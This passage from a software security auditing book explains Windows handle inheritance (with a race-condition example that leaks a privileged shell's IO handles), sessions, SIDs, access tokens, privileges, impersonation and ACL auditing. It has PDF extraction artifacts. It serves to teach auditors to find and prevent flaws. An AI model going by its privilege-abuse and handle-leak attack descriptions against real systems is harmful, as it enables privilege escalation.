    if (hProc != NULL) WaitForSingleObject(hProc); 

 

    return hr; 

} 

 

This code contains a subtle vulnerability that might cause the standard IO handles to 

leak into more than one process. Consider what would happen if two different users 

connected simultaneously and caused one of the threads to block inside the 

CreateRedirectedShell() function. Say that thread 1 blocks, and thread 2 continues 

to run. Thread 2 then spawns shell 2 and inherits its redirected IO handles. However, 

shell 2 also inherits the redirected handles from thread 1, which is currently blocked 

inside CreateRedirectedShell(). This occurs because the handles for shell 1 are 

marked as inheritable when shell 2 is spawned, so they are added to the process 

handle table for shell 2. Attackers could exploit this vulnerability by connecting at the 

same time as a more privileged user. This simultaneous connection would cause them 

to inherit the standard IO handles for the higher privileged process in addition to their 

own. This access allows attackers to simply issue commands directly to the higher 

privileged shell. 

This vulnerability might seem a bit contrived, but variations of it have been identified 

in deployed applications. In this example, the solution is to wrap the shell creation in 

a critical section and ensure that inheritable handles aren't used elsewhere in the 
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application. In a more general sense, you should always scrutinize any use of handle 

inheritance and be especially careful when it involves different security contexts. This 

requires you to identify any process creation that can occur over the inheritable 

handle's lifespan. Therefore, it's generally a good idea for developers to keep the 

lifespan of these handles as short as possible. 

Handle inheritance vulnerabilities are actually rare because the use cases that lead to 

them are uncommon. The first step in finding them is to determine whether the 

application runs any processes in a separate security context and allows the child 

process to inherit handles. This step is easy; first you need to look for impersonation 

functions or other functions that allow altering the security context. Then you just 

need to look for the bInheritable parameter in calls to the CreateProcess() family of 

functions or in the SHELLEXECUTEINFO structure passed to ShellExecuteEx(). 

If you identify any children that can inherit handles, you need to identify inheritable 

handles by looking at all object creation calls and any calls to DuplicateHandle(). A 

well-written application should never create an inheritable handle at object 

instantiation, however; instead, it should duplicate an inheritable handle immediately 

before the process is created and free it immediately afterward. However, many 

applications aren't written this well, so you might have a difficult time finding all 

possible inheritable handles, especially if the developers had a habit of marking all 

handles as inheritable. 

After you have identified all the inheritable handles, you need to trace their use and 

determine whether their lifespan overlaps any child process creations you identified 

earlier. This part can be difficult because the handle might be marked inheritable in 

entirely unrelated code, or it might be inherited only in a race condition, as in the 

previous example. Fortunately, you can leverage some techniques discussed in 

Chapter 13(? [????.]), "Synchronization and State." 

Live analysis is also helpful, and Process Explorer (from www.SysInternals.com) is a 

useful tool for this purpose. This tool gives you detailed information on any process, 

including a list of open handles. It can also be used to search the process handle table 

for any named handles. Unfortunately, Process Explorer doesn't identify whether a 

handle is marked inheritable, but it's still useful in tracking down and validating the 

handles available to a process. 

 

7.7.4 Sessions 

Before you can assess application security in a Windows environment, you must 

understand the system's security features. You need to know how security is applied 

and how access to system resources is mediated. Having this knowledge enables you 

to identify what users can and can't access and how the OS decides what privileges 

http://www.sysinternals.com/
31051536.html
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users have. Therefore, this section introduces Windows sessions and the elements of 

access control that are referred to throughout this chapter and Chapter 12(? [????.]). 

Windows is a multiuser operating systemmeaning it can deal with multiple logged-on 

users simultaneously. Handling multiple simultaneous logons is accomplished by 

establishing sessions for each user who logs on successfully. A session is simply a 

mechanism for encapsulating data relevant to a logon instance. The data a session 

object maintains includes the following: 

 Information for governing process access rights 

 Data accessible to constituent processes in a session 

 Selected behavioral characteristics for processes started in a session 

Sessions ensure that concurrently logged-on users can run applications more or less 

isolated from each other, thus preventing users from interfering with each other's 

processes to a certain extent. Session data structures and sessionwide accessible 

objects are explained later in this section. 

Note 

Keith Brown is the author of The .NET Developer's Guide to Windows Security 

(Addison-Wesley, 2005(? [????.])), which is an exceptional reference for the 

Windows security model. If you're more concerned with the lower-level API, you 

might want to consider his earlier book Programming Windows Security 

(Addison-Wesley, 2000(? [????.])). However the coverage centers on Windows NT 

and 2000, so some of the material is no longer current. 

 

 

Security IDs 

Windows access control mechanisms determine what access an entity has to a 

resource. An entity's identity is determined by the security ID (SID), a structure that 

contains a number of fields, including a revision level, an identifier authority value, a 

variable-length subauthority, and a relative ID (RID). SIDs are often represented in a 

text format, with each subfield broken out separately, like so: 

S-<revision>-<identifier authority>-<subauthority>-<RID> 

 

An example of a SID might look something like this: 

S-1-5-32-545 
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This SID identifies the well-known Users group. The 1 is the revision number, which 

has been the same for every version of Windows; the 5 is the authority ID of 

SECURITY_NT_AUTHORITY; the 32 is the subauthority for built-in accounts; and the 545 

identifies the Users group. 

Note 

SIDs can be converted between text and structure form by using the 

ConvertStringSidToSid() and ConvertSidToStringSid() functions, respectively. 

 

For the purposes of this discussion, you can just think of a SID as a unique number 

that identifies an entity on the system, more commonly referred to as a "principal." A 

principal is any uniquely identifiable entity on the system that can be granted specific 

access to a system resource. Principals can be users, service accounts, groups, or 

machinesany entity associated with a logon session or a collection of these entities. 

You frequently encounter SIDs throughout the discussion of the Windows security 

model, because they play an essential role in determining who has access to what. 

The important thing to remember about SIDs is that account names can change over 

time and vary between languages, but a SID, after it's assigned, never changes. 

Further, the values of well-known SIDsaccounts guaranteed to exist on every system 

or domainnever change, either. Here are some examples of wellknown SIDs: 

Administrator: S-1-5-<domain ID>-500 

Administrators group: S-1-5-32-544 

Everyone group: S-1-1-0 

Local system account: S-1-5-18 

Local service account: S-1-5-19 

Local network account: S-1-5-20 

Logon Rights 

Windows logon rights aren't a session component but should be understood in the 

context of sessions. Logon rights determine whether a user can establish a logon 

session on a machine and what type of session is allowed. To view these rights, open 

the Local Security Policy Editor and navigate to Local Policies and then User Rights 

Assignment. Table 11-1 briefly summarizes these rights from the MSDN listing. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 653 

Table 11-1. Logon Rights 

Right Description 

SeNetworkLogonRight Allows a user to connect to the computer from 

the network. 

SeRemoteInteractiveLogonRight Allows a user to log on to the computer via a 

Remote Desktop connection. 

SeBatchLogonRight Allows a user to log on using a batch-queue 

facility, such as the Task Scheduler service. 

SeInteractiveLogonRight Allows a user to log on locally and start an 

interactive session on the computer. 

Note: Users who don't have this right can start a 

remote interactive session on the computer if 

they have the SeRemoteInteractive right. 

SeServiceLogonRight Allows a security principal to log on as a service. 

Services can be configured to run under the 

Local System, Local Service, or Network Service 

accounts, which have a built-in right to log on as 

a service. Any service that runs under a 

separate user account must be assigned this 

right. 

SeDenyNetworkLogonRight Prohibits a user from connecting to the 

computer from the network. 

SeDenyInteractiveLogonRight Prohibits a user from logging on directly at the 

keyboard. 

SeDenyBatchLogonRight Prohibits a user from logging on using a 

batch-queue facility. 

SeDenyServiceLogonRight Prohibits a user from logging on as a service. 

SeDenyRemoteInteractiveLogonRight Prohibits a user from logging on to the 

computer via a Remote Desktop connection. 

 

 

Access Tokens 

Access tokens are system objects that describe the security context for a process or 

thread. They are used to determine whether a process can or can't access a securable 

object or perform a system task that requires special privilege. Access tokens can be 

derived from a number of sources, but they are initially created when a user starts a 

new session. This initial token is referred to as a primary access token; it's assigned 
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to all new processes started in the current logon session. The MSDN description for 

access tokens contains a list of components that make up the access token; the 

following list shows the main fields of interest: 

 Security Identifier (SID) This SID identifies the user associated with this 

access token. 

 Group List This series of SIDs identifies all the groups the user belongs to at 

the time of logon. 

 Session Security Identifier This field is the logon session identifier 

associated with this token. Many tokens are associated with a single session. 

 Privilege List This field is a list of special privileges, or rights, required to 

perform system-related tasks. 

 Default DACL Every securable object creation routine takes a security 

descriptor parameter. The default DACL is applied when a NULL DACL is 

supplied and inheritance rules require a DACL. 

 Restricting SID List This field is a list of restricted SIDs for the token. 

Restricted tokens are discussed in more detail in "Restricted Tokens" later in 

this chapter. 

A token containing all this information is created at every user logon and is later 

copied for each process and thread spawned in the session. Note that the token is 

copied, as opposed to a reference being passed, because each process or thread can 

optionally modify certain attributes of its access token. By using a copy for each 

process and thread, modifications don't affect other processes in the same session. 

Only certain parts of the access token can be modified by a process and a thread. 

Obviously, the unrestricted capability to change certain components of the token 

(such as the user and group SIDs or the privileges list) would completely undermine 

the security model. However, several other fields (such as the default DACL) can be 

modified safely to address access control concerns in a session. 

Privileges 

As noted earlier, privileges are special permissions that allow a principal to perform 

system-related tasks. Table 11-2 lists privileges that can be granted to a principal. 

Table 11-2. Windows Privileges 

Privilege Name Description 

SeAssignPrimaryTokenPrivilege Allows a user to assign the primary access token 

for a process or thread. 

SeAuditPrivilege Allows a user to generate security logs. 

SeBackupPrivilege Allows a user to create backups of system files 

and directories. 
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Table 11-2. Windows Privileges 

Privilege Name Description 

SeChangeNotifyPrivilege Allows a user to be notified when certain files or 

folders are changed. 

SeCreateGlobalPrivilege Allows a user to create global objects (available 

only in Windows Server 2003, Windows XP SP2, 

Windows 2000 SP4, and later). 

SeCreatePagefilePrivilege Allows a user to create a page file. 

SeCreatePermanentPrivilege Allows a user to create a permanent system 

object. 

SeCreateTokenPrivilege Allows a user to create new token objects. 

SeDebugPrivilege Allows a user to attach to and debug processes. 

SeEnableDelegationPrivilege Enables computer and user accounts to be trusted 

for delegation. 

SeImpersonateName Allows a user to impersonate a client (available 

only in Windows Server 2003, Windows XP SP2, 

Windows 2000 SP4, and later). 

SeIncreaseBasePriorityPrivilege Allows a user to increase the scheduling priority of 

a process. 

SeIncreaseQuotaPrivilege Allows a user to increase his or her quota. 

SeLoadDriverPrivilege Allows a user to load kernel drivers. 

SeLockMemoryPrivilege Allows a user to lock pages in memory. 

SeMachineAccountPrivilege Allows a user to add a workstation to the domain. 

SeManageVolumePrivilege Allows a user to manage files on a volume. 

SeProfileSingleProcessPrivilege Allows a user to profile a single process. 

SeRemoteShutdownPrivilege Allows a user to shut down the machine remotely. 

SeRestorePrivilege Allows a user to restore system files and 

directories. 

SeSecurityPrivilege Allows a user to manage audit logs. 

SeShutdownPrivilege Allows a user to shut down the machine. 

SeSyncAgentPrivilege Allows the use of synchronization services. 

SeSystemEnvironmentPrivilege Allows modification of firmware environment 

variables. 
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Table 11-2. Windows Privileges 

Privilege Name Description 

SeSystemProfilePrivilege Allows a user to profile system performance. 

SeSystemtimePrivilege Allows a user to change the system time. 

SeTakeOwnershipPrivilege Allows a user to take ownership of objects and 

files owned by other users. 

SeTcbPrivilege Identifies a user as part of the trusted computing 

base. 

SeUnlockPrivilege Allows a user to unlock a laptop. 

SeUnsolicitedInputPrivilege Allows a user to read input from a terminal device. 

 

Privileges play a vital role in system integrity; obviously, the haphazard assignment 

of privileges could result in a compromise of the system. For example, a user with 

SeDebugPrivilege can take over processes owned by other users; this privilege would 

allow attackers to run arbitrary code in the context of another account. Similarly, a 

user with SeLoadDriverPrivilege might load a malicious driver into kernel mode, thus 

taking complete control of the system. 

The default allocation of privileges is generally safe. However, services and similar 

applications might require additional access. If this access isn't carefully considered, 

it could create operational vulnerabilities that allow privilege escalation. Some 

applications must also downgrade permissions dynamically, and failing to do so might 

result in similar implementation vulnerabilities. This concern is addressed more later 

in the "Restricted Tokens" section. 

Group List 

An access token contains a list of SIDs for all the associated user's group 

memberships. When attempting to access an object, the object DACL is checked 

against entries in the group list. Access is refused if no matching entries exist or if an 

entry explicitly denies access. Otherwise, access is granted if a matching SID entry 

provides the requested level of access or higher. 

The SID list is generated at logon and can't be updated during a session. This 

approach allows performing access checks quickly and efficiently, even in a 

distributed environment. To see how this works, you can easily alter your account 

membership with the Microsoft Management Console. Any changes you make affect 

the account, but the current session is untouched. You have to log back on under a 

new session for changes in group membership to take effect. 
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There's an exception to the requirement that group membership can't be altered for 

an active session. Group memberships can be somewhat altered through the use of 

SID attributes, which are parameters associated with each SID entry in the group list. 

They define how the SID entry applies and how it can be altered. So although new 

groups can't be added, existing groups can be altered by manipulating their attributes, 

and although groups can't be removed, any SID entry that isn't mandatory can be 

disabled. Table 11-3 describes attributes that can be associated with SIDs in a group 

list. 

Table 11-3. SID Attributes 

SID Attribute Meaning 

SE_GROUP_ENABLED This SID is enabled for access checks. 

SE_GROUP_ENABLED_BY_DEFAULT By default, this SID is enabled. This information is 

used when a token is being reverted to its default 

state. 

SE_GROUP_LOGON_ID This SID is a logon session SID. 

SE_GROUP_MANDATORY This group SID is enabled and can't be disabled. 

SID_GROUP_OWNER The SID describes the owner of a group or object. 

SE_GROUP_RESOURCE This group SID identifies a domain local group. 

SE_GROUP_USE_FOR_DENY_ONLY This SID can be used for deny access control entries 

(ACEs) only; it's ignored when examining allow ACEs 

for an object. 

 

 

Restricted TokensF 

Some entries in a group list can be disabled, but even more extreme measures can be 

taken to reduce the permissions granted to a token. To do this, you create a 

restricted token, which is a token that has a nonempty restricted SID list. An access 

check for a restricted token differs from a normal token. An access check succeeds 

only if the DACL SID entry is present in both the normal group list and the restricted 

group list. Further, restricted tokens can set the SE_GROUP_USE_FOR_DENY_ONLY flag on 

mandatory SID entries. This approach can even be used to prevent the account from 

using its own SID for granting access to a resource. 

A restricted token can also revoke any privileges currently assigned to the token. By 

combining group and privilege restrictions, drastically limiting the access granted to a 

token object is possible. A restricted token is created by using the 

CreateRestrictedToken() function; its prototype is shown as follows: 

BOOL CreateRestrictedToken(HANDLE ExistingTokenHandle, 
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        DWORD Flags, 

        DWORD DisableSidCount, 

        PSID_AND_ATTRIBUTES SidsToDisable, 

        DWORD DeletePrivilegeCount, 

        PLUID_AND_ATTRIBUTES PrivilegesToDelete, 

        DWORD RestrictedSidCount, 

        PSID_AND_ATTRIBUTES SidsToRestrict, 

        HANDLE NewTokenHandle) 

 

This function is used to supply a list of SIDs that can be disabled, to delete privileges 

from a token, and to add restricted SIDs to an access token. This effectively means 

that any process can create an access token containing a subset of the privileges and 

resource access rights the original token had. 

Of course, creating a new token might not be appropriate in many circumstances. 

Instead, you can modify attributes of the existing token with these functions: 

AdjustTokenGroups() and AdjustTokenPrivileges(). These functions can be used to 

alter an existing token by modifying group membership, as described in the section 

on group lists, or by altering token privileges. Here's the prototype of 

AdjustTokenGroups(): 

BOOL AdjustTokenGroups(HANDLE TokenHandle, 

        BOOL ResetToDefault, 

        PTOKEN_GROUPS NewState, 

        DWORD BufferLength, 

        PTOKEN_GROUPS PreviousState, 

        PDWORD ReturnLength) 

 

This function can enable and disable groups in an access token, but the specified 

groups must already exist in the token's list of group SIDs. This function simply sets 

or clears the attributes discussed in the previous section. Primarily, it's used to set or 

clear the SE_GROUP_ENABLED attribute, which determines how the group affects an 

access check. A value of TRUE for the ResetToDefault parameter causes the NewState 

value to be ignored and the default state of the access token restored. 

Similarly, a process can enable or disable the privileges in an access token by using 

the AdjustTokenPrivileges() function. Here's the function prototype: 

BOOL AdjustTokenPrivileges(HANDLE TokenHandle, 

        BOOL DisableAllPrivileges, 

        PTOKEN_PRIVILEGES NewState, 

        DWORD BufferLength, 

        PTOKEN_PRIVILEGES PreviousState, 
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        PDWORD ReturnLength) 

 

Modifications made with AdjustTokenGroups() aren't irrevocable. Further, 

modifications made by using AdjustTokenPrivileges() are permanent only in 

Windows XP SP2 and Server 2003 or later and only if the SE_PRIVILEGE_REMOVED flag is 

set in the NewState parameter. This creates situations in which attackers can reset the 

token to its default state should they gain control of the process through a 

vulnerability. A restricted token, however, prevents the token from being reset to its 

original group list and privilege state. 

Software Restriction Policies (SAFER) API 

Windows XP and Server 2003 added the Software Restriction Policies (SAFER) API to 

provide a simpler method of running processes under additional restrictions. The 

SaferCreateLevel() function provides machine and user scope restrictions and 

accepts five levels of security, ranging from disallowed to fully trusted. It can be used 

with SaferCreateTokenFromLevel() to create restricted tokens more easily. The SAFER 

levels from the MSDN are listed in Table 11-4. 

Table 11-4. SAFER Levels 

Value Meaning 

SAFER_LEVELID_DISALLOWED Software doesn't run, regardless of the user's access 

rights. 

SAFER_LEVELID_UNTRUSTED Allows programs to run with access only to resources 

granted to well-known groups, blocking access to 

Administrator and Power User privileges and personally 

granted rights. 

SAFER_LEVELID_CONSTRAINED Software can't access certain resources, such as 

cryptographic keys and credentials, regardless of the 

user's access rights. 

SAFER_LEVELID_NORMALUSER Allows programs to run as a user who doesn't have 

Administrator or Power User access rights. Software 

can access resources accessible by normal users. 

SAFER_LEVELID_FULLYTRUSTED Software access rights are determined by the user's 

access rights. 

 

 

Running Under Different Contexts 

Windows provides the capability to change the current thread's token or create a new 

process under a different token. Functionally, this capability is similar to the su 
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command in UNIX. However, the implementation and use of the Windows 

functionality is very different. The first major difference is that Windows requires the 

user's password credentials to create a token for another user context. 

Note 

At first, requiring the user's password credentials to create a token for another user 

context might seem a bit odd. The local system account has unrestricted access to the 

account database and at some level eventually creates the logon session and token. 

Of course, this is true for a stand-alone system, and undocumented API calls could be 

used to manually generate a logon session and token for any user. However, Windows 

stand-alone authentication is more of a subset of Windows domain authentication. In 

a domain environment, only a domain controller has the context necessary to issue 

credentials for domain-level users. So a local system could use the native API calls to 

forge a domain token, but it would lack credentials needed for any network 

authentication. In the end, it seems the Windows designers chose to punt on this 

issue. They simply provide an API that always requires password credentials for 

authenticating a user. 

 

There are actually a few options for creating a process under a new user context. The 

first option works in Windows 2000 and later and is available to any authenticated 

user. It involves starting a process under a new user session by calling 

CreateProcessWithLogonW(). This function provides a programmatic interface to the 

Secondary Logon Service and is basically the same as shelling the RunAs command. 

The next option for creating a new user context uses the lower-level Win32 security 

function, LogonUser(). In Windows 2000 and earlier, this function requires the caller 

to have the SE_TCB_NAME privilege (described as the "act as part of the operating 

system" right); this right should be granted only to highly privileged accounts. This 

restriction severely limits the use of this function on earlier versions of Windows; it's 

useful only for providing external authentication in services that don't use native 

Windows IPC mechanisms. 

Windows provides seven different logon types, depending on how the token must be 

used. This distinction is important because it can improve performance and prevent 

an exposure of credentials. Table 11-5 lists the available logon types from the MSDN. 

Table 11-5. Logon Types 

Value Meaning 

LOGON32_LOGON_BATCH This logon type is intended for batch servers, 

where processes can be running on behalf of users 

without their direct intervention. This type is also 
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Table 11-5. Logon Types 

Value Meaning 

for higher-performance servers that process 

many plain-text authentication attempts at a 

time, such as mail or Web servers. The 

LogonUser() function doesn't cache credentials for 

this logon type. 

LOGON32_LOGON_INTERACTIVE This logon type is intended for users who are 

interactively using the computer, such as a user 

being logged on by a terminal server, remote 

shell, or similar process. This logon type has the 

additional expense of caching logon information 

for disconnected operations; therefore, it's 

inappropriate for some client/server applications, 

such as a mail server. 

LOGON32_LOGON_NETWORK This logon type is intended for high-performance 

servers to authenticate plain-text passwords. The 

LogonUser() function doesn't cache credentials for 

this logon type. 

LOGON32_LOGON_NETWORK_CLEARTEXT This logon type preserves the name and password 

in the authentication package, which allows the 

server to make connections to other network 

servers while impersonating the client. A server 

can accept plain-text credentials from a client, call 

LogonUser(), verify that the user can access the 

system across the network, and still communicate 

with other servers. Windows NT: This value is not 

supported. 

LOGON32_LOGON_NEW_CREDENTIALS This logon type allows the caller to clone its 

current token and specify new credentials for 

outbound connections. The new logon session has 

the same local identifier but uses different 

credentials for other network connections. This 

logon type is supported only by the 

LOGON32_PROVIDER_WINNT50 logon provider. 

Windows NT: This value is not supported. 

LOGON32_LOGON_SERVICE Indicates a service-type logon. The account 

provided must have the service privilege enabled. 

LOGON32_LOGON_UNLOCK This logon type is for graphical identification and 

authentication (GINA) dynamic link libraries 
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Table 11-5. Logon Types 

Value Meaning 

(DLLs) that log on users who are interactively 

using the computer. This logon type can generate 

a unique audit record that shows when the 

workstation was unlocked. 

 

As you can see, each logon type performs slightly differently in handling credentials. 

For example, developers should use the LOGON32_LOGON_NETWORK type for a service that 

requires only authentication on the local system. Using another authentication 

mechanism in this situation, such as LOGON32_INTERACTIVE or 

LOGON32_NETWORK_PLAINTEXT, might cache sensitive user credentials unnecessarily. 

Attackers might then be able to steal credentials via an impersonation or Server 

Message Block (SMB) relay exploit. (Impersonation attacks are explained in more 

detail in Chapter 12(? [????.]).) 

After a token has been generated, it can be used to spawn another process by using 

CreateProcessAsUser() or CreateProcessWithTokenW(). Most user applications create a 

new token only when spawning a new process. However, a service might choose to 

replace credentials for the current thread by using SetThreadToken(), which brings 

you to a unique Windows capability known as impersonation. 

Impersonation 

Impersonation is the capability for a thread running under one user session to use 

the credentials of another user session. It's done in two ways. The first method is to 

generate a token as described previously and assign that token to a thread with 

SetThreadToken(). This function requires that the caller have the 

SE_TOKEN_IMPERSONATE right on the target thread handle. The second, and more 

complex, form of impersonation is used in IPC in a client/server scenario. It's 

intended to allow the server process to duplicate (or impersonate) the client's 

credentials. This capability allows Windows systems to perform a single sign-on (SSO) 

on an individual system or across a domain environment. This capability is discussed 

in more detail in Chapter 12(? [????.]). 

 

7.7.5 Security Descriptors 

Securable objects have granular access controls applied through use of their security 

descriptors. A security descriptor is a structure that defines the following 

components: 

31051536.html
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 Owner SID Lists the owning user or group. 

 Group SID Lists the owning group (primarily unused in Win32). 

 Discretionary access control list (DACL) Lists account SIDs and their 

access permissions. 

 Security access control list (SACL) Lists the groups and accesses that 

trigger an audit event. 

From a code-auditing perspective, you need to look at object creation and access 

carefully. Chapter 2(? [????.]), "Design Review," discussed how an application design 

includes a security model to protect access to resources from potentially malicious 

entities. In this chapter, you can see how the object interface and access control 

structure implements the Windows security model. 

Auditing ACLs involves examining a list of access control entries (ACEs) stored in an 

ACL to figure out the exact permissions associated with a resource, which includes the 

object's immediate permissions and any inherited permissions. An ACE is a structure 

that describes what type of access can be granted or denied to an entity that can be 

represented by a SID, such as a user or group. You can find an excellent summary on 

ACEs, ACLs, and their use in Secure Programming by Michael Howard and David 

Leblanc (Microsoft Press, 2002(? [????.])). As Howard and Leblanc point out, ACEs 

are primarily composed of a SID and an access mask describing what the entry allows 

or denies access to. Each ACE also has a type field in the ACE header, which describes 

what type of ACE it is. There are a number of different types of ACEs, but for now you 

just need to be aware of two main types: allow ACEs and deny ACEs. As their names 

imply, an allow ACE grants permission to a user requesting access to an object if the 

ACE SID matches the user's SID and the requested access rights are present in the 

ACE's access mask. A deny ACE denies a user requesting access to an object if the 

SID entry matches the user's SID. 

Note 

Writing Secure Code by Michael Howard and David LeBlanc (Microsoft Press, 2002(? 

[????.])) is generally accepted as the definitive book on secure Windows 

programming. This book focuses on exploring specific vulnerabilities in depth, but 

their book is an exceptional reference for secure coding in Windows. 

 

 

Access Masks 

The access restrictions or allowances an ACE imposes are identified by the mask field 

in the ACE structure. This field is a bit field that programmers can use to describe 

what type of permissions the requesting SID must have for this ACE to be relevant. 

The ACCESS_MASK field is divided into three categories, described in the following 

sections. 
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Standard Access Rights 

Standard rights are those that can be applied to any sort of object. They govern what 

kind of access users have to pieces of object control information, rather than the 

object data itself. Eight bits are reserved to represent standard rights that can be 

applied to an object, but currently only five are defined: 

 DELETE Specifies deletion access for the SID in question. 

 READ_CONTROL Specifies that access can be gained for reading security 

information specific to the object (that is, if this flag is set and the ACE is an 

allow ACE, the specified SID can find out the owner and group of the object as 

well as read the DACL of the object). 

 WRITE_DAC Specifies the capability to write to the object's DACL. 

 WRITE_OWNER Specifies that the owner of the object can be written to (that is, a 

new owner can be set). 

 SYNCHRONIZE Specifies whether synchronization objects can be used on the 

object. 

Specific Access Rights 

The interpretation of bits in the specific access rights portion of an ACCESS_MASK (bits 

0 to 15) depends on the type of the object in question. Specific access rights are 

addressed in the following sections as necessary. 

Generic Access Rights 

Generic access rights, described in the following list, are simple permissions that 

apply to all objects in some manner. There are four generic rights: 

 GENERIC_ALL Setting this right specifies unrestricted access to the object in 

question. It's the same as combining GENERIC_READ, GENERIC_WRITE, and 

GENERIC_EXECUTE. 

 GENERIC_READ Specifies read access to the object. 

 GENERIC_WRITE Specifies write access to the object so that it can be modified. 

 GENERIC_EXECUTE Specifies that the object can be executed. This right is 

relevant to thread, process, and file objects. 

Generic access rights are translated into a combination of specific access rights and 

standard access rights on the object; therefore, using generic access rights require 

developers (and auditors) to be familiar with exactly how these flags are translated. 

The translation for these access rights depends on the type of object the right is 

applied to, and they are described on a case-by-case basis in the MSDN and 

throughout the remainder of this chapter. 

ACL Inheritance 
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Objects in Windows can be containers for other objects; the most obvious examples 

are directories and registry keys. For this reason, Windows allows you to define 

separate permissions that are applied to child objects. Table 11-6 lists flags from the 

MSDN that describe how ACEs are applied to an object and its children. 

Table 11-6. ACE Flags 

Value Meaning 

CONTAINER_INHERIT_ACE The ACE is inherited by container objects. 

INHERIT_ONLY_ACE The ACE doesn't apply to the object to which the ACL is 

assigned, but it can be inherited by child objects. 

INHERITED_ACE Indicates an inherited ACE. This flag allows operations 

that change the security on a hierarchy of objects to 

modify inherited ACEs but doesn't change ACEs that were 

applied directly to the object. 

NO_PROPAGATE_INHERIT_ACE The OBJECT_INHERIT_ACE and CONTAINER_INHERIT_ACE bits 

aren't propagated to an inherited ACE. 

OBJECT_INHERIT_ACE The ACE is inherited by noncontainer objects. 

 

As these flags demonstrate, ACE inheritance can get complicated. Chapter 2(? [????.]) 

described a privilege escalation vulnerability that results from misunderstanding ACL 

inheritance. This vulnerability occurs because inherited permissions on the root 

directory make a child directory writeable to all users. In this case, it allows an 

attacker to write a file in a sensitive location that can later be loaded and run. 

Security Descriptors Programming Interfaces 

To audit object permissions, you need to be familiar with how access rights are 

assigned programmatically. There are several ways in which ACEs are assigned to an 

object's DACL. The following sections describe some of the most popular methods. 

Low-Level ACL Control 

Microsoft defines several "low-level" ACL and ACE control functions in the MSDN, 

which allow manipulating ACLs and ACEs. They also provide the capability to add 

ACEs to an ACL without developers being required manually create an ACE. Some of 

these functions are described in the following paragraphs. 

The AddAce() function can be used to add a number of ACEs to the ACL specified by 

pAcl: 

BOOL AddAce(PACL pAcl, DWORD dwAceRevision, 
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             DWORD dwStartingAceIndex, LPVOID pAceList, 

             DWORD nAceListLength) 

 

The ACE structures are supplied as the pAceList argument, which is an array of ACE 

structures of length nAceListLength. The dwStartingAceIndex contains an index 

indicating where the specified ACEs should be entered in the list of existing ACE 

entries. Order of ACEs is quite important and is discussed in more depth in "Auditing 

ACL Permissions." 

The following function creates an allow ACE at the end of the ACL specified by pAcl: 

BOOL AddAccessAllowedAce(PACL pAcl, DWORD dwRevision, 

                            DWORD AccessMask, PSID pSid) 

 

The AccessMask and pSid arguments describe the access this ACE allows to the object 

in question and who this access applies to. There's also an AddAccessAllowedAceEx() 

function that allows the caller to specify the inheritance flags. 

The following function acts in the same way as AddAccessAllowedAce(), except it adds 

a deny ACE rather than an allow ACE to the ACL specified by pAcl: 

BOOL AddAccessDeniedAce(PACL pAcl, DWORD dwRevision, 

                          DWORD AccessMask, PSID pSid) 

 

There's also an AddAccessDeniedAceEx() function that allows the caller to specify 

whether the ACE being added is inheritable. 

The following function retrieves an ACE from the ACL specified by pAcl: 

BOOL GetAce(PACL pAcl, DWORD dwAceIndex, LPVOID *pAce) 

 

The ACE returned is the one located at dwAceIndex in the list of ACEs in the ACL. 

Security Descriptor Strings 

The low-level security API is a bit cumbersome and unwieldy for most 

permission-management tasks, so Microsoft provides an alternate text-based 

interface for managing security descriptors. This capability is provided by the 

ConvertSecurityDescriptorToStringSecurityDescriptor() and 

ConvertStringSecurityDescriptorToSecurityDescriptor() functions. The MSDN 

describes the use of these functions in detail; however, the string format accepted by 
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these functions is briefly summarized in the following text, which lists the four types 

of entries in a security descriptor string: 

O:owner_sid 

G:group_sid 

D:dacl_flags(string_ace1)(string_ace2)... (string_acen) 

S:sacl_flags(string_ace1)(string_ace2)... (string_acen) 

 

Owner and group SIDs are fairly straightforward, but the ACE string components of 

an ACL require a little more explanation. The MSDN describes the format of ACE 

strings as shown in the following line: 

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid 

 

The values for these fields are summarized in the following list: 

 ace_type This field specifies what type of ACE is being defined. As previously 

stated, the most common ones are allow ACEs, specified with an A, and deny 

ACEs, specified with a D. 

 ace_flags Flags can be set in this field to indicate the ACE's properties, 

including how and whether it should be inherited and whether it should be 

audited when encountered. 

 rights This field is the most important part; it includes permissions for the 

object being described. The generic fields are specified by using G followed by 

R (for GENERIC_READ), W (for GENERIC_WRITE), X (for GENERIC_EXECUTE), or A (for 

GENERIC_ALL_ACCESS). The standard rights are RC (for READ_CONTROL), SD (for 

DELETE), WD (for WRITE_DAC), and WO (for WRITE_OWNER). Finally, specific object 

access rights have specific encodings. 

 object_guid This field is for an object-specific ACE. 

 inherit_object_guid This field is also for an object-specific ACE. 

 account_sid This field is the SID the ACE applies to. 

Putting all these fields together, here's an example of what an ACE string might look 

like: 

A;;GR,GW;;; 

 

 

Auditing ACL Permissions 

Now that you're aware of the basic permissions and access rights for a generic object 

type, you can look into some problems associated with neglecting to set appropriate 

permissions for objects. As stated previously, the primary resources an application 
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uses should have been established during the design phase. These resources are 

typically represented as objects in an application. A review of an application's 

high-level design should already have uncovered what permissions a resource 

requires, so now it's time to verify that those permissions have been enforced. In 

addition, you'll probably find objects used in applications that weren't relevant during 

the design phase; instead, these objects, such as the Mutex object used for 

synchronization, are an implementation detail. Because these objects aren't relevant 

during a high-level design analysis, it's likely a security policy hasn't been set and the 

developer might have arbitrarily chosen permissions for the object, which you need to 

pay attention to when auditing. 

No Permissions 

It's possible for an object to have a NULL DACLthat is, it doesn't have a DACL. In this 

case, anyone can access the object with any permission. A program that creates 

objects with NULL DACLs is exposing that object to interference by rogue applications 

that might abuse it, which can lead to exposure of information, privilege escalation, or 

unexpected object states and, therefore, unexpected program behavior. A NULL 

DACL is rarely correct, even for objects that should be accessible to everyone because 

a NULL DACL allows arbitrary users to change the object's owner or ACLs at any time, 

thus denying others access to it or exploiting some assumptions the developer made 

about the object. 

There's a subtle nuance in how an object's DACL works. DACLs are restrictive by 

defaultthat is, when a DACL exists, it implicitly denies everyone access unless an 

allow ACE grants a user access to the object. Therefore, an empty DACL and NULL 

DACL are quite different. An empty DACL allows no one to have access to an object; 

a NULL (nonexistent) DACL allows everyone access to the object. Empty DACLs aren't 

important for auditing, except to mention they can be used to create object instances 

that are accessible only to the process that instantiated them. This capability can be 

used to enhance an object's security, although it's rarely used. 

Applying a DACL at object creation is also not completely intuitive. Object creation 

functions expect a pointer to a SECURITY_ATTRIBUTES structure containing the security 

descriptor. However, supplying a NULL value doesn't prevent the security descriptor 

from being applied. Instead, the security descriptor is generated based on the 

